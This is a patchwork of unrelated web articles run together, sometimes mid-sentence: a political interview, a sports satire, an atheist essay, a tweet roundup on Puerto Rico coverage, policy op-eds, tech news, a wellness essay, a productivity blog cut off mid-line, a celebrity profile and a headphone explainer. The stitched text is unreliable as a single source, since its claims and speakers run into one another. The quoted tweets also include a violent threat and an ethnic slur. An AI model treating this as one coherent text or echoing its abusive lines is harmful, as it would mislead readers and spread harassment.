Reason: Do you talk non-interventionist foreign policy in this mostly fiscal-based campaign?
Williams: I talk about it all the time. My approach to foreign policy is not to try to argue with people about whether we should or should not be involved in the Middle East or Afghanistan. My approach is much more pragmatic. I say our federal government is bankrupt and can’t afford to be policemen of the world even if we wanted to. $4 trillion worth of debt over the last ten years have come from overseas military involvement and it's been a failure for us, we haven’t gotten good value for it. A sound economy here at home is the single most important thing to protect national security.
Reason: I’ve heard you express pretty strong fears about where our country might be heading…
Williams: Putting it in blunt terms, what we see with the financial and fiscal crises in America is a real test of our political system. It needs to either solve these financial crises with candidates like me who believe in limited government that lives within its means or the political system itself will fail, like we see in Greece. If we don’t solve it with real political solutions the issue will be solved in some other way and I don’t like what I see. It could be civil unrest if the political system cannot solve the financial crisis.
Pragmatism is not enough. We simply must have a cultural moment where the American people in a very broad sense understand that the type of runaway big government philosophy we lived under for the last period of decades is a failure and that we have to recognize that we have to live within our means. When that happens a candidate like me will rise to the forefront but we can’t just talk pocketbooks. We have to talk culture itself. The culture of entitlement and government handouts we’ve been living under, that culture is over. The American people need to catch up to that truth.
Cross-posted at the dedicated blog for my out-soon book Ron Paul's Revolution: The Man and hte Movement He Inspired.As Silverstone prepares to host its 50th Grand Prix, Lewis Hamilton has agreed to mark the occasion by spending the whole weekend using his British accent.
The Stevenage-born driver’s British accent hasn’t been heard in full since 2010 and sources say he has spent the past week working with his engineers to make sure he doesn’t spoil the effect by suddenly saying ‘fricking’ or ‘totally’ as if raised in the well-known San Fernando valley area of Hertfordshire.
‘Lewis really wants his British accent to work this weekend,’ a Mercedes source revealed. ‘But it is a bit rusty since he’s spent so long now using other accents such as that one that makes him sound like a grumpy teenager from an international school.’
‘It would mean a lot to the Silverstone crowd if Lewis used his British accent,’ said Trosty Munge of the HamFan website. ‘But we fully understand if that’s too difficult and he has to go back to talking like an impersonation of an American done by someone who’s not very good at accents.’
‘Wait, Lewis Hamilton is British?’ asked one perplexed F1 fan. ‘We thought he was a Belgian who grew up in Hong Kong doing an impression of P Diddy.’
With thanks to Barrett SutherlandEditor’s Note: Theologians, with their deep academic knowledge, are equipped to make a strong case against religious belief – if they are so disposed. Bart Ehrman and Anthony Pinn have done it and now there is a new generation of theologians, including our next contributor, who after leaving academia, influence the way we think about religion with their carefully referenced and constructed arguments
===========================
By David Madison, PhD
“I don’t think you ought to read so much theology,” said Lord Peter. “It has a brutalizing influence.” Dorothy L. Sayers, Whose Body?
In 1923, astronomer Edwin Hubble, using the 100-inch Hooker telescope on Mount Wilson, made a momentous discovery:
a Cepheid variable star in the Andromeda galaxy. With this identification—because of the peculiar behavior of Cepheid variable stars—Hubble was the first person to determine the distance to this other galaxy. It was far outside our Milky Way Galaxy.
This settled a debate that had been raging among astronomers and it changed forever the way we can think about ourselves. It became clear that the cosmos was vastly more immense than had been previously understood.
We now know that there are perhaps 100 million other galaxies. This prompts the feeling that we are very small. We knew that even before that photo was taken. In 1923, however, our isolation in the cosmos was magnified beyond imagining. From this perspective of radical isolation, we are forced to acknowledge that we know virtually nothing about the cosmos.Do I overstate? Consider this observation, by science writer Timothy Ferris:
If we possessed an atlas of our galaxy that devoted but a single page to each star system in the Milky Way (so that the sun and all its planets were crammed on one page), that atlas would run to more than ten million volumes of ten thousand pages each. It would take a library the size of Harvard’s to house the atlas, and merely to flip through it, at the rate of a page per second, would require over ten thousand years. Add the details of planetary cartography, potential extraterrestrial biology, the subtleties of the scientific principles involved, and the historicaldimensions of change, and it becomes clear that we are never going to learn more than a tiny fraction of the story of our galaxy alone—and there are a hundred million more galaxies. (Coming of Age in the Milky Way, p.83)
As the physician Lewis Thomas writes,
The greatest of all the accomplishments of twentieth century science has been the discovery of human ignorance.
And Timothy Ferris agrees:
Our ignorance, of course, has always been with us, and always will be. What is new is our awareness of it our awakening to its fathomless dimensions, and it is this, more than anything else, that marks the coming of age of our species.
We have not been able to compare notes with other thinkers in the Milky Way about religion. We are totally in the dark. Theologians should take the hint.
One of Sam Harris’ most provocative statements is the following:
“…theology is now little more than a branch of human ignorance.” The End of Faith p.173
But is this really so outrageous? Mr. Harris has merely stated the reality of our post-1923 world. Over the centuries theologians have claimed to know about the gods. Sacred books are filled with ‘information’ about gods, and theologians have written thousands of books elaborating on this ‘information’—arriving, by the way, at vastly different conclusions. But we are simply not in any position, equipped with our mammalian brains and on one planet, to make pretentious claims about ‘ultimate reality’—as theologians themselves would put it. Theologians can be credited with thousands of years of guesswork.
We are in the dark, literally and figuratively.
From this perspective, here are examples of bad theology.
Bad theology pretends to know about god(s), but fails to demonstrate that its sources of knowledge of god(s) are reliable and verifiable. When I pick up a book about theology, I want to read on page onehow the author knows what he is about to tell me about God. If he talks about god(s) based on the Bible, prayer, visions, revelations or mediation, we have a right to be suspicious.
Bad theology assumes the validity of personal opinions and feelings about god(s). But these count for nothing when we’re trying to figure out how the Cosmos works. Ordinary folks are even more prone to bias, emotion and guesswork than the theologians, and ridicule the request for verification.
Anything that looks like rationalization of ancient barbarism, e.g., human sacrifice, the death of Jesus to satisfy an angry god, is bad theology which also projects the worst aspects of human personality, e.g., anger and jealousy, onto god(s).
Theology that clearly emerged from a twisted, fanatical mind is bad, e.g., Joseph Smith and Mormonism.
Bad theology offers sophomoric excuses for why God allows suffering and evil, e.g., he punishes people, gives them pain to improve character, has a rival (the devil) who causes all the trouble; these excuses are deeply flawed.
Bad theology makes promises about what will happen to people when they die. People are commonly terrified that consciousness ceases forever when they die. Religions have, throughout history, traded on such fears. The afterlife pitch is unconscionably immoral.
Theology that glories in ignorance is bad theology. It can’t come to terms with advancing human knowledge and the findings of science. Timothy Ferris chose an appropriate title for his book that was quoted above: Coming of Age in the Milky Way.
We have been coming of age during the last two centuries. It’s no good pretending that Hubble’s 1923 discovery didn’t change the way we are obligated to contemplate the Cosmos and our place in it. The knowledge revolution since the Enlightenment has put theology in a defensive position. The ad hoc justifications have multiplied, and the result is usually bad theology.
=========================
Bio: David Madison was raised in a conservative Christian home in northern Indiana, where he shared his mother’s fascination with the Bible. He served as a pastor in the Methodist church during his work on two graduate degrees in theology, but by the time he finished his PhD (Biblical Studies, Boston University) he had become an atheist. He gave up his ordination, left the church, pursued a successful business career and eventually joined The Clergy Project. Still, his interest in the Bible continued and his thinking about Christianity’s many points of vulnerability resulted in the book due for publication in 2016: 10 Tough Problems in Christian Thought and Belief: a Minister-Turned-Atheist Shows Why You Should Ditch the Faith.
>>>>>Photo Credits:
https://commons.wikimedia.org/wiki/File:100_inch_Hooker_Telescope_900_px.jpg#/media/File:100_inch_Hooker_Telescope_900_px.jpg
https://commons.wikimedia.org/wiki/File:NGC7293_(2004).jpg#/media/File:NGC7293_(2004).jpg
https://upload.wikimedia.org/wikipedia/commons/b/b0/Gutenberg_Bible.jpg
Madison bio photo: Andrea Reese http://www.andreareesephotography.comAs Twitchy reported on Saturday, Geraldo Rivera sparked some controversy by coming to the defense of the Trump administration’s response to the hurricane devastation in Puerto Rico. Rivera’s reports continue to anger many by pointing out that some of the problems being experienced in Puerto Rico are caused by local issues and aren’t necessarily signs of failures on the part of the U.S. federal government:
#SanJuanMayor says residents are "dying," & somehow @realDonaldTrump is to blame. I'm here. Who is dying? Why? Where? Let me help save them. — Geraldo Rivera (@GeraldoRivera) September 30, 2017
If massive relief effort doesn't fix crumbling antiquated neglected infrastructure&incompetent corrupt management it'll all break next storm — Geraldo Rivera (@GeraldoRivera) October 2, 2017
You ask 'how do I help #PuertoRico?' Avoid government-Give to faith-based organizations-They're closest to people-less corrupt & incompetent — Geraldo Rivera (@GeraldoRivera) October 2, 2017
Geraldo Rivera puts the blame where it belongs, on the incompetent, negligent, and corrupt Puerto Rican leadership. But he praises @POTUS for sending help. ~ San Juan pic.twitter.com/A5Zquj6hUE — Oak-Town☢Unfiltered™ (@hrtablaze) October 1, 2017
The Resistance, who would rather use the natural disaster to score points against the Trump administration, aren’t appreciative of Rivera’s lack of assistance to the narrative:
Geraldo was garbage when he constantly smeared dead teen Trayvon Martin. he's being garbage again https://t.co/NWQsBQFXk6 — Eric Boehlert (@EricBoehlert) October 2, 2017
I wish someone would break his nose like they did in the 80’s when he had the piss poor talk show! — Corey B. King (@coreybking) October 2, 2017
To be fair, he’s been garbage for a lot longer than that. — Sappho Faires (@SFinEville) October 2, 2017
Reading the comments to @GeraldoRivera tweet has me shook. He's Puerto Rican and he's letting people talk like about other PRs. So much hate — SheaLovesScience (@science_shea) October 2, 2017
Geraldo, you are not residing on the entire island. You consume 2 square feet of space on the island d. Fuck your sensationalism. https://t.co/NEgzuyA55e —?NothingBurger? (@LampOlive) October 2, 2017
What an ass, Geraldo is https://t.co/IrEENrm7H6 — Raw Story (@RawStory) October 1, 2017
@angryyngman Rivera has always been the epitome of fake news. — Linda Reilly Blowney (@Arhylda) October 1, 2017
Honestly what had you expected from the Trump mouthpiece, like his master without decency and respect for the victims of the hurricane? — Ryan Johncke (@RyanJohncke) October 1, 2017
Still trying to be white…instead of Fox News Coconut Carrier. Self loathing. https://t.co/mDA7L5PjOS — Marcus (@keywest0007) October 1, 2017
Gee, @GeraldoRivera is just echoing Trump's "alternate reality" and is not "actually reporting on the ground" in Puerto Rico. #FakeNews https://t.co/hll1GyJGVa — nwsltr (@nwsltrMe) October 1, 2017
@GeraldoRivera, you tool, come to Denver. In front of me and mine, spout your trumpy bullshit. I will fuck u up, u scared loser douchebag. — Balano (@DanBalano) October 2, 2017
Geraldo's always carrying water for the thrice married pussygrabber — Fuck Conservatives (@FuckCons) October 1, 2017
@GeraldoRivera another piece of trash. Dying vs. Died. Do you need a dictionary? https://t.co/qkHbyea8zi — Damon Gonzalez (@TheyCallMeDaymz) October 1, 2017
Fuck you, Geraldo. You go on the air of your piece of shit employer Fox News and suggest that Puerto Ricans are exaggerating? Fuck. You. — Cymbal Choke (@CymbalChoke1) October 2, 2017
@GeraldoRivera kick ass reporter? Your a fucking piece of shit. You have the balls to insult the Mayer of San Juan? Fuck you asshole — Woody Woodrow III (@woodywoodrow44) October 2, 2017
Hmm:
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Related:
PRIORITIES! Ana Navarro encourages Puerto Rico residents resettle in these states
FAKE NEWS: Paul Krugman blames ‘Trumpie’ for cholera outbreak in Puerto Rico that hasn’t happened
‘Hamilton’ creator says Trump’s going ‘straight to hell’ over his Puerto Rico tweets
Curt Schilling on Puerto Rico: ‘I truly believe @potus is being misled’
REALLY!? Trump’s Puerto Rico tweets cause Reuters journo to ‘IMAGINE’ different GW BushThe continuing crisis in Ukraine means that the EU can no longer continue doing business as usual. The U.S. administration has criticized the EU for not giving more support to Ukraine’s antigovernment protests and for not retaliating against Russia’s bullying tactics in former Soviet countries.
Yet the tug-of-war between Ukrainian President Viktor Yanukovych and pro-Western demonstrators presents a great opportunity for the EU. Now is the time for the EU to start selling itself, not just in Ukraine but also in Georgia and Moldova, two other countries of the EU’s Eastern Partnership initiative. And the EU can no longer avoid the issue of Eastern enlargement.
At a summit last November in Vilnius, Georgia and Moldova initialed trade and association agreements with the EU, while other Eastern Partnership countries—Armenia, Azerbaijan, and Ukraine—rejected the offers. Georgia and Moldova are scheduled to sign the accords later this year.
But there is great concern that Russia may try to use this interim period to thwart the signing of the agreements. The EU could easily be caught napping, as it was during the run-up to the Vilnius summit. On that occasion, EU officials said they had no idea how damaging Moscow’s embargo on certain Ukrainian exports to Russia was for Ukraine’s economy. What on earth were EU diplomats doing in Kiev—or, indeed, in Brussels?
Now, Poland and Sweden, the two EU member states that spearheaded the Eastern Partnership, are attempting to force the EU’s hand over Georgia and Moldova. Swedish Foreign Minister Carl Bildt and his Polish counterpart, Radek Sikorski, have concluded that the EU’s policy toward the region needs a radical overhaul if the bloc wants to avoid the mistakes it made in Ukraine.
In early February, the two ministers presented papers on the Eastern neighborhood to their EU counterparts. Their message was clear: the EU must go on the offensive in Georgia and Moldova if it wants both countries to go through with signing the association agreements.
The Swedish document, entitled “20 Points on the Eastern Partnership Post-Vilnius,” proposes that the EU should embark on an intense public diplomacy campaign in Georgia, Moldova, and the other Eastern Partnership countries. The paper, already approved by a dozen other EU countries, pushes for a more open Europe that would allow student exchanges and greater opportunities for travel within the EU.
The text also explains how and why Brussels should “calibrate” its policies toward individual governments instead of pursuing a monolithic approach. The more each country reforms, the more access they would gain to EU programs and financial assistance.
The Polish paper looks at how EU funding should be increased and disbursed more quickly. It also argues that in the more repressive regimes, the EU should focus more on civil society. That is one of Poland’s main interests.
The two papers are important because they convey a sense of urgency. They call for the EU to act now, instead of spending months issuing tenders for communications experts to carry out public diplomacy, or shifting around funding for the EU’s Eastern neighbors.
On closer reading, the papers are also about countering possible Russian mischief. The two foreign ministers’ proposals—a combination of public diplomacy, more funds, a focus on concrete EU projects with a particular emphasis on civil society—are instruments aimed at opposing Moscow’s influence.
The Swedish document in particular suggests that the EU should not be afraid of comparing its own value-bound community with Russia’s customs union, which also includes Belarus and Kazakhstan.
As if to highlight the opportunities of such an approach, Kazakhstan’s president, Nursultan Nazarbayev (who by no stretch of the imagination can be considered a democrat), recently went on a big campaign in Europe. During talks with EU and World Trade Organization officials, Nazarbayev made it clear that he wanted his country to become more independent from Russia. He even complained about restrictions that Moscow has imposed on Kazakhstan’s export policy as a result of the Russian-dominated customs union.
Yet for all the talk of a big offensive in Eastern Europe, the EU still ducks the hard questions: What is the EU’s goal in its Eastern neighborhood? Is EU membership a realistic prospect for the countries in the East? Or is the EU offering a special partnership that confers extensive trade and other rights but falls short of membership?
Sooner rather than later, EU governments will have to decide on their long-term relationship with Eastern Europe. It is clear that the Eastern Partnership countries will not embrace big reforms unless they have the perspective of membership. That, unfortunately, is the reality.This week, House Republicans passed a farm bill that reauthorizes and expands a wide range of federal subsidies for the agricultural sector. The bill, which is expected to cost $195 billion over the next decade, is far smaller than an earlier $939 billion version that went down to defeat last month, in what was widely seen as yet another blow to House Speaker John Boehner. Conservatives and libertarians are outraged. Heritage Action for America, the advocacy wing of the Heritage Foundation, has issued a scathing denunciation, as has policy expert Sallie James of the Cato Institute, who warns that even the modest savings promised in the farm bill are likely to prove illusory.
And liberals are also furious, as the House GOP, in an effort to paper over internal disagreements, decided to separate out the nutrition programs that had been in an earlier version of the bill, to be dealt with at a later date. Under the earlier version of the farm bill, nutrition programs — which include SNAP, the food stamp program that currently enrolls 47.6 million people — were expected to cost $743 billion over the next decade, $20.5 billion less than under the status quo. Congressional Democrats opposed the cuts on the grounds that they were too steep, while conservative GOP rebels insisted that they were too small.
The expectation is that House Republicans will propose nutrition-only legislation that will be considerably less generous than what came before it, thus bringing the rebels back into the fold. The debate over nutrition programs is obviously crucially important. David Armour and Sonia Sousa, policy scholars at George Mason University, have documented the extraordinary growth of SNAP over the last decade, and there does appear to be room to curb its growth while protecting the interests of the very poor. Whether or not Republican lawmakers choose to take that path remains to be seen. One thing we do know, however, is that the farm bill that has passed represents a serious step backwards for a party that was once committed to rolling back the agricultural welfare state.
The new farm bill makes for a striking contrast with “Freedom to Farm,” the landmark agricultural reform passed by House Republicans in 1996, when the Gingrich-led party was still full of revolutionary zeal. Eric Patashnik, a University of Virginia political scientist, documents the rise and fall of Freedom to Farm in his 2008 book Reforms at Risk. Then as now, right-of-center intellectuals were convinced that farmers needed to be weaned off of federal subsidies while also being freed of market-distorting restrictions on planting decisions. Rather than simply extend existing farm subsidies, congressional Republicans devised a seven-year schedule during which payments would be steadily reduced. The GOP commitment to curb giveaways to agribusiness flowed in part from a recognition that if conservatives wanted to overhaul welfare, Medicaid and other programs aimed primarily at the poor, it had to ruffle the feathers of at least some Republican-aligned constituencies as well.
Freedom to Farm was far from perfect, as it left a number of politically popular price supports in place. The legislation shrewdly sought to buy off farmers by boosting farm payments in the short-term in exchange for eventually phasing them out. Yet it also failed to change the incentives facing legislators. Lawmakers still have much to gain from doling out favors to farmers, and there was nothing in Freedom to Farm to prevent or even discourage them from doing so. When agricultural commodity prices fell, Congress kept boosting payments to farmers to stave off a political backlash. As Patashnik observes, Republicans and Democrats entered into a series of bidding wars, in which the parties duked it out over which could promise a bigger “emergency” farm aid package. This isn’t to say that Freedom to Farm was a complete failure. While it failed to end subsidies, it did allow for much greater planting flexibility, which in turn freed farmers to make investment decisions with an eye towards the market.
Now, however, federal agricultural policy is careening in the other direction. In recent years, Congress has placed a much heavier emphasis on subsidizing crop insurance, which in turn has shielded agribusiness interests from the kind of foolhardy decisions that would get punished in a free market. As my colleague Andrew Moylan of the R Street Institute has observed, the beneficiaries of these subsidies tend to be large, lucrative agribusiness firms. During the debate over the farm bill, Reps. Jason Chaffetz (R-UT) and Earl Blumenauer (D-OR) proposed phasing out premium subsidies for crop insurance for farms earning $250,000 or more. Other proposals aimed at capping premium subsidies at $50,000 per beneficiary and ensuring greater transparency in the program. Yet these and other perfectly sensible amendments were ruled out of order by the House leadership, and so the House never had an opportunity to vote on them.
One gets the impression that a majority of Republican lawmakers are utterly unperturbed by the fact that the farm bill represents corporate welfare at its worst. A cynic might suggest that for all its vaunted ideological purity, the House GOP caucus is simply looking out for its core constituents, namely the agribusiness interests that play an outsized role in the economic and political life of Rural America. And in a democracy, it is perfectly fair that a party will be responsive to the interests of its members. But why, you have to wonder, would the party devote so much effort to giving agribusiness interests such a big leg up while neglecting the middle-income parents and retirees who represent the bulk of the Republican rank-and-file? If ideological purity is why some conservatives oppose GOP efforts to craft a substantive, coverage-expanding alternative to President Obama’s Affordable Care Act, why wouldn’t this farm bill also be a bridge too far?
PHOTO: Cory Brown, a son of Sunburst Dairy owner Brian Brown, drives a feeder tractor past some corn at their dairy farm near Belleville, Wisconsin September 6, 2012. REUTERS/Darren HauckGovernment ministers in the United Kingdom have been banned from wearing the Apple Watch to cabinet meetings over fears the device could be hacked, according to The Telegraph Several cabinet ministers reportedly wore the device to meetings while serving under former Prime Minister David Cameron, however new PM Theresa May has apparently banned the smartwatches over fears that they could be used by Russian spies as listening devices. One source told The Telegraph: "The Russians are trying to hack everything." The Verge notes that the Apple Watch has been banned from Australian cabinet meetings as well. An advisor for the Australian PM Malcolm Turnbull said that more attention needed to be paid to communications security as an increasing number of devices, from glasses to running shoes, offered internet connectivity.The bans follow serious concerns over the potential reach of clandestine state-sponsored hacker groups, after U.S. officials pointed the finger at Russian hackers following the release of confidential emails from the Democratic National Congress during the U.S. election.Russian hackers have also been implicated in the release of private medical files of some of the world's most famous athletes. Smartphones have also been barred from the Cabinet because of similar worries that the devices could be used to listen in on meetings.The wellness movement is having a moment. The more luxurious aspects of it were on full display last weekend at the inaugural summit of Gwyneth Paltrow’s lifestyle brand Goop, from crystal therapy to $66 jade eggs meant to be worn in the vagina. Meanwhile, juice cleanses, “clean eating,” and hand-carved lamps made of pink Himalayan salt have all gone decidedly mainstream. I myself will cop to having participated in a sound bath—basically meditating for 90 minutes in a dark room while listening to gongs and singing bowls. (I felt amazingly weird afterward, in the best possible way.)
It seems that privileged women in the US have created their own alternative health-care system—with few of its treatments having been tested for efficacy, or even basic safety. It’s easy to laugh at the dubious claims of the wellness industrial complex, and reasonable to worry about the health risks involved. But the forces behind the rise of oxygen bars and detox diets are worth taking seriously—because the success of the wellness industry is a direct response to a mainstream medical establishment that frequently dismisses and dehumanizes women.
To be fair, the American health-care system is generally unpleasant for everyone: impersonal, harried, and incredibly expensive. “The doctor-patient relationship has been slowly eroding, not only with specialization and the fact that people now see panels of doctors, but because emergency rooms are slammed, there are insurance-coverage problems, et cetera,” Travis A. Weisse, a science historian at the University of Wisconsin, told Taffy Brodesser-Akner in an article for Outside magazine. “It can make a patient feel devalued.”
The medical system is even more terrible for women, whose experience of pain is routinely minimized by health practitioners. In the emergency room, women routinely wait longer than men to receive medication for acute pain. At the gynecologist’s office, severe period-related pain is often dismissed or underestimated. Ingrained sexism means that doctors may regard women as either earth mothers or hypochondriacs; that is, either women possess deep wellspring of internal pain control that they ought to be able to channel during childbirth, or their pain is psychological in nature—a symptom of hysteria.
Conditions that affect women at higher rates than men, including depression and autoimmune diseases like fibromyalgia, are much more likely to be dismissed as having a psychological rather than a physiological source. Chronic fatigue syndrome sufferers are still instructed to rely on exercise and positive thinking, despite research that indicates these measures do not cure the condition. Many women with autoimmune diseases, endometriosis, or even multiple sclerosis go undiagnosed for years, despite multiple trips to doctors and specialists—all the while being told that their symptoms could just be stress.
Even with diseases that strike men and women at similar rates, women are in many cases at a disadvantage during treatment. Women have lower survival rates from heart attacks than men, partially because their symptoms often present as “atypical”—that is, atypical for a male heart attack victim—and because they receive less aggressive treatment once they are admitted to a hospital. Clinical trials for medicine tend to include more men, and the male body is the medical default.
For some US women, the experience of childbirth creates a permanent distrust of the medical system. Many American mothers experience birth in a hospital setting in which they are given very little control over their care and which procedures they are subjected to. The national C-section rate is about 30%, triple the World Health Organization’s target of 10%. And US hospitals have one of the worst maternal health track records among developed nations. When women’s preferences and individual needs are dismissed in the process of childbirth, it’s no surprise that they may face physical and psychological scarring—and that they will seek out alternative methods of health care where they feel listened to and in control.
Enter the wellness industry, which specializes in creating safe, welcoming, amber-lit spaces that make people feel cared-for and relaxed, and which treats the female body as its default. It’s easy to see how a sympathetic reiki practitioner who listens closely to your descriptions of what it feels like to inhabit your body, and vows to help you feel better, could seem appealing. As Brodesser-Akner writes in her piece for Outside, “whatever you think of detox and the people who sell it, they are mostly people who care very much for you and who know how fragile happiness and health are and who want you to have a good life.”
Wellness products and services are designed to make women feel that their unique, individual needs are being addressed, whether it’s via a smoothie, a mud bath, or leech therapy. And it’s not all bullshit. Deep twists in yoga may not literally be “rinsing out the kidneys,” as many teachers like to say, but research has shown a variety of benefits from the ancient practice that go beyond simple stretching and movement. The Mayo Clinic touts the benefits of meditation. The Federal Drug Administration just recommended acupuncture for pain relief. There are plenty of yoga teachers, massage therapists, and the like who are well-educated in their fields, talented, and dedicated to the people they work with.
The problem is that the rest of the wellness industry hitches a ride on their coattails of compassion and competency, benefiting from the utter lack of warmth found in mainstream medical treatment. And once you buy into the idea that science and medicine are not to be trusted, it’s easy to become susceptible to misinformation—whether that means obsessing over toxins in sunscreen and using coconut oil instead; going gluten-free when you don’t have celiac disease or gluten intolerance; steaming your vagina; or saying no thank you to vaccines and standard, evidence-based treatments like a vitamin K shot for newborns.
The truth is that the medical establishment deserves our skepticism—especially from those of us who have female bodies. The FDA and Perdue Pharma share a good deal of responsibility for the opioid crisis. There are plenty of substances, like Red Dye No. 40, Yellow Dyes No. 5 and 6, the herbicide atrazine and the class of pesticides called neonicotinoids, that are legal in the US but banned elsewhere out of concern for consumer safety. And of course, we are a long way from gender parity in medical research and treatment.
But it’s important to remember that the dollars we drop on salt lamps and Moon Dust aren’t the same thing as agitating for change—and that retreating into wellness is only an option for the privileged set. Medical outcomes in the US are largely predicted by race and socioeconomic status, and it is minorities and poor people who face the worst consequences when toxins get dumped and regulatory systems break down.
Health-care practitioners needn’t resort to crystals and mandalas to learn something from the wellness industry. There’s a movement already afoot in medicine to cultivate compassion in physicians, which has been linked to better health for patients and better financial outcomes for hospitals. Simply looking patients in the eye, slowing down, and listening closely to what they have to say would be a good place to start.
This article is part of Quartz Ideas, our home for bold arguments and big thinkers.Many people find it hard to stay focused on a good day. As a business owner, days tend to be packed from start to finish, requiring you to work endless hours and deal with a multitude of issues. How do YOU stay focused on relevant tasks when it becomes hard to keep up? Have you ever thought of creating your own “focus formula” to help you stay on track? In this part1 1 of 2, we’re going to revamp your day with tips backed by science so you can become your most focused and productive self.
In particular, we are going to tell you exactly the number of times per day you should be checking your email and how getting your blood pumping keeps you focused for hours. Everything you are going to read is fully backed by published research. We’ve gone through hundreds of papers from the psychology, neurosciences, and biochemistry fields. All of the information here has been vetted by our team of PhDs, so that you can have the fullest confidence in the recommended actions.
We are going to use a prototypical day of an entrepreneur to guide us through the process. Sure, this may be an overly simplified version but it is an example for you. Implement this focus formula in your day and watch your focus and productivity improve.
Part 1
Wake-up, shower and eat breakfast
Hit the Gym
Check email, grab coffee
Get to the office
Part 2
Emails and meetings
Lunch (if you find the time)
Meetings/research/more emails
Reading/relax (is that a thing?)
Before bed: more emails
Let’s dive into some actionable methods and build your focus formula
1. Understand the Pareto principle (work smarter, not harder)
In this section, we’re going to go over 5 ways to understand/implement this concept.
First things first, the Pareto principle is very simple and extremely powerful. In the event you’ve never heard of it, it states that 20% of your time makes up 80% of your results.
20% of your time makes up 80% of your results.
Why is this such a valuable rule upon which to build our focus formula? Because if you can figure out which 20% of your time drives 80% of your results, you can focus on those aspects, thus allowing you to become the most productive version of yourself! Here’s how to take advantage of the 80/20 rule throughout your day:
i) Short-term hindsight is a powerful tool
Stop and think for a minute: what do you get done in a typical workday? Chances are, you aren’t optimizing your workflow as well as you could be. By rating and keeping track of your daily activities, you will learn about the tasks you should be focusing on.
Here’s your task:
Duration: 10 minutes before the day begins for 1 week
Write out all of the tasks you need to complete during that day
Once you have this list finalized, assign a rating to each task (1 being most important; don’t overthink this)
Attach timestamps to each task throughout the day from when you started to when you finished (if you’re using google calendar, this is already done for you!)
The next day before you repeat the process, review the previous day.
Re-rate these tasks based on how much time they took to complete and the value of the completed task
Identify the most important three tasks and use this as an anchor for when you repeat the process
This may seem intimidating but you’ll find out where you’re wasting time, it will allow you to structure your tasks and organize your day effectively. This activity allows you to evaluate what you thought was important when you started the day vs. what was actually important in hindsight. Our brains quickly learn to categorize and predict patterns in the changing environment leading to quick improvements in productivity.
ii) Grow your business by teaching your team the short-term hindsight technique
Entrepreneurs are prone to the rationalization of, “I can do it myself” and end up spending 6 hours on some task that isn’t quantifiable. Sure, sometimes you have to do everything when you start out, but realize that irrelevant tasks prevent you from doing what’s important. Now that you’ve identified your most important tasks in a given workday, instill this framework into your employees and pass on unnecessary tasks.
Teaching your team how to identify and understand their tasks is a big part of being an effective leader. By following this framework, not only will you be able to identify the tasks you should be passing on – saving you time and energy – but you’re benefiting your business by providing a more productive structure for the team.
iii) Focus on your most effective time slot
Everybody has a time of day where they get their best work done. Leave that time slot open for more daunting work.
How do you figure out this timeslot? Let’s dive into the science.
Our bodies run on a 24 |
why he spends so much time meeting with and interacting with his fans, he pauses. “Do you know what? It's so gratifying. In theater, you get a feedback straightaway. When you do TV, you really don't know if people are enjoying your work until it's released. The more we do these press weeks and tours, the more I realize I enjoy it. It's energy giving... It’s very different to how my life was four years ago.” He acknowledges the attention can get overwhelming, but he’s able to put it into perspective: “Because it was later in my life, it may be easier. I think if I was younger it'd be a bit more confusing. I just wonder what it's like for real celebrities.” He shrugs, pointing to the bar. “Matthew McConaughey was sitting there last night. I walked in, I'm like, ‘Matthew McConaughey!’ I almost couldn't speak. I was like…” he breaks off into gibberish, pretending to be tongue-tied. Even with 384,000 Twitter followers and fans ranging from Jenna Dewan-Tatum (who hosted their Comic-Con panel in July) to Reese Witherspoon’s mom, he still doesn’t consider himself a “real” celebrity.
"I just wonder what it's like for real celebrities.”
Heughan also manages to keep his personal life relatively private. He doesn’t divulge much about Mauzy, other than the fact he met her at an industry event, and that she’s had to deal with a bit of social media trolling from his fans. "Initially, it is upsetting but, ultimately, it doesn't mean anything. It feels like a schoolyard thing,” he says, adding that because the show is more popular in the U.S. than the UK, his family doesn’t understand much of the hype. “My mum gets it, but doesn’t quite get it. I'll tell her that I'm off to New York to do some press or something, and she'll be like, ‘Are they putting you up? Are they putting you at a hotel? Why are you always having to work, and travel all the time?’”
Outlander shot the final five episodes of Season 3 in South Africa, and the week after Heughan wrapped in mid-June, he was on set in Hungary shooting his new movie, The Spy Who Dumped Me, with Mila Kunis and Kate McKinnon. It’s his first major role since Outlander, and Heughan was nervous about finding his comedic timing. “There you are with Kate McKinnon, who just won an Emmy for Saturday Night Live, going off on a tangent every take. You're like, how do I do this? I know Jamie Fraser, I think, pretty well now. This new character, each day was finding out how he responds to something and how he would do something.”
Kathryn Wirsing
After his whirlwind weekend in New York, Heughan will fly back to Scotland to start shooting Season 4 of Outlander and watch the world react to the rest of Season 3, which takes the Frasers on another unexpected journey. Even as tonight’s episode returns its lovers to each other, the show is about to lose its very foundation, as the story takes the Frasers out of Scotland, on a sea voyage which eventually lands them in the American colonies. “It’s almost like a goodbye to Scotland,” Heughan says with a tinge of sadness. “It was very sad for us to move away from that, even though we do shoot in Scotland still. I think that is something we'll yearn for. But it’s also very exciting because we're entering a new world—and actually the new world of America as well.”
But first, there are a few things to handle in Scotland, and Jamie and Claire’s rekindled romance will hit a few snags. “He has some secrets, and things have happened that he kind of doesn't want to tell her because he's terrified to lose her again,” Heughan says. “We do see Jamie Fraser of old, so to speak, but there's still some unfinished business.”Nearly every pair of headphones you've ever worn uses dynamic drivers. This is the standard for over-the-ear cans and many earbuds. And really, "dynamic driver" is just audio lingo for what you and I would call a speaker; the classic, round noisemakers you'd find in your living room stereo, or mounted in the door of your car.
Beyond dynamics, there are other types of headphones. And the most curious of them is the planar magnetic headphone. These rare beasts are expensive and fickle, often requiring an amplifier to power them. The mechanics, involving a thin diaphragm surrounded by magnets, are best explained by an expert. All you really need to know is planars produce rich audio with realistic clarity and no distortion to speak of. Audiophiles rave about 'em, but they're the same people who have no problem dropping $2,000 on a pair of planars and the same amount on a headphone amp. Don't even ask what they spent on cables.
The mainstream is catching on, however, and planar magnetic headphones have been appearing in greater numbers of late. There are excellent models from HiFiMan, Oppo, and Fostex that cost less than a grand, and many of them don't require a headphone amp—you can plug them straight into your phone.
